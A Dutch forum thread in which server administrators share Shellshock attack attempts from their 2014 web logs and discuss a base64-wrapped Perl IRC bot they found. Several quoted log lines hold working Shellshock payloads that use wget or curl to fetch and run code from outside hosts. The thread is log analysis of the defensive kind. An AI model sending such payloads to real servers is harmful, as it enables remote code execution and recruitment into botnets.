Shellshock

[Mijzelf]

Het is misschien aardig om te inventariseren wat er zoal aan shellshock exploits rondwaart. Buiten een paar onschuldige scans vond ik deze in mijn logs:

code:

66.150.114.26 X.X.X.X - [28/Sep/2014:09:49:02 +0200] "GET / HTTP/1.0" 200 176 "-" "() { :;}; /bin/bash -c \"wget -O /var/tmp/ec.z 74.201.85.69/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*\""

ec.z blijkt een eenvoudig perl script:

Perl:

#!/usr/bin/perl
use MIME::Base64;
eval(decode_base64('IyEvdXNyL2 erg lange string

Na decoderen van de base64 string krijg ik

Perl:

#!/usr/bin/perl
####################################################################################################################
####################################################################################################################
##  perlBot v1.02012 By unknown @unknown   ##    [ Help ]   ####################################
##      Stealth MultiFunctional IrcBot Writen in Perl          #####################################################
##        Teste on every system with PERL instlled             ##  !x @system                                     ##
##                                                             ##  !x @version                                    ##
##     This is a free program used on your own risk.           ##  !x @channel                                    ##
##        Created for educational purpose only.                ##  !x @flood                                      ##
## I'm not responsible for the illegal use of this program.    ##  !x @utils                                      ##
####################################################################################################################
<enzovoort>

Grote vraag: waarom is de perlBot ingepakt? Hij had toch ook zo verstuurd kunnen worden?

[azerty]

Obfuscation, zodat je niet direct weet wat het is, en ook omdat je gemakkelijker filters kunt instellen op het woord "perlbot" bijvoorbeeld

[Boudewijn]

Minder obvious maken voor logging wat het ding doet. Ik heb zelf ook wel wat dingen opgepikt, ga die morgen eens uit elkaar halen denk ik.Het exemplaar waar ik vrijdag naar keek was trouwens niet eens gepacked .

[Mijzelf]

code:

82.221.128.244 X.X.X.X - [29/Sep/2014:01:01:40 +0200] "GET / HTTP/1.1" 200 176 "-" "() { :;}; /bin/bash -c \"wget http://82.221.105.197/bash-count.txt\""

En die file bestaat echt:

quote: bash-count txt

This server is used for Internet security scans.
We are collecting data purely for research purposes and do
not mean to do any harm.


If you wish to opt out and make sure that we don't scan your
IP range again, please send us an email, and we will promptly
do so.


1. Send us an email with an IP range and organization name
E-mail to [e-mail]

Ik hoopte op een echte counter.

[ Voor 3% gewijzigd door Mijzelf op 29-09-2014 19:40 ]

[mendel129]

http://www.fireeye.com/bl...ellshock-in-the-wild.html

onderaan de pagina staan een hele hoop mooie voorbeelden!

[Kabouterplop01]

Ik vind het wel kwalijk dat je nog een optoutmailtje moet sturen ook! Eigenlijk is je machine geowned, dat is strafbaar. Je hebt ze van te voren nl geen expliciete toestemming gegeven om te doen!

[Mijzelf]

Geowned? Hoezo? Ik heb een server draaien die publiek toegankelijk is.
En zij vragen gewoon een pagina op.
Ok, *als* mijn systeem door bash de extra code had uitgevoerd, *dan* zou dat filetje gedownload zijn. Die zou denk ik in mijn /var/www folder terechtkomen. Kun je dan opvatten als een briefje in de bus: "Bent u zich ervan bewust dat er een raampje open staat?".

Opt-in is een beetje lastig hier.

Overigens heb ik die file gedownload, met wget, en dat heeft dus een logregel in hun webserver opgeleverd. Dat heeft geen nieuwe acties van hun kant opgeleverd. Dus het lijkt erop dat ze te goeder trouw zijn.

[Boudewijn]

Mwa je machine heeft code uitgevoerd zonder dat jij als eigenaar daar aanleiding toe heeft gegeven. Niet echt de bedoeling.

[Mijzelf]

En voor het eerst in 2 weken weer een aanval:

code:

200.72.242.9 - - [20/Oct/2014:11:49:26 +0200] "GET / HTTP/1.0" 200 176 "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl" "() { :; }; curl http://www.ykum.com//bbs/skin/zero_vote/cpan_root | perl"

Die cpan_root is overigens dezelfde perlbot als ik eerder vond, alleen nu gewoon 'plain'.
Trouwens wel grappig dat hij zowel de referrer als de user agent probeert.
Deze regel had ik trouwens 3 keer in 2 seconden.

[Mijzelf]

Een heel vreemde:

Bash:

78.39.133.2 - - [26/Oct/2014:09:48:09 +0100] "GET / HTTP/1.1" 200 176 "-" "() { :; }; echo -e \"Content-Type: text/plain\\n\"; i=is333h;c=p555n;echo $c$i;exit"

Wat wordt dit geacht te doen?

Plus vandaag maar liefst 429 pogingen om een perlbot te starten.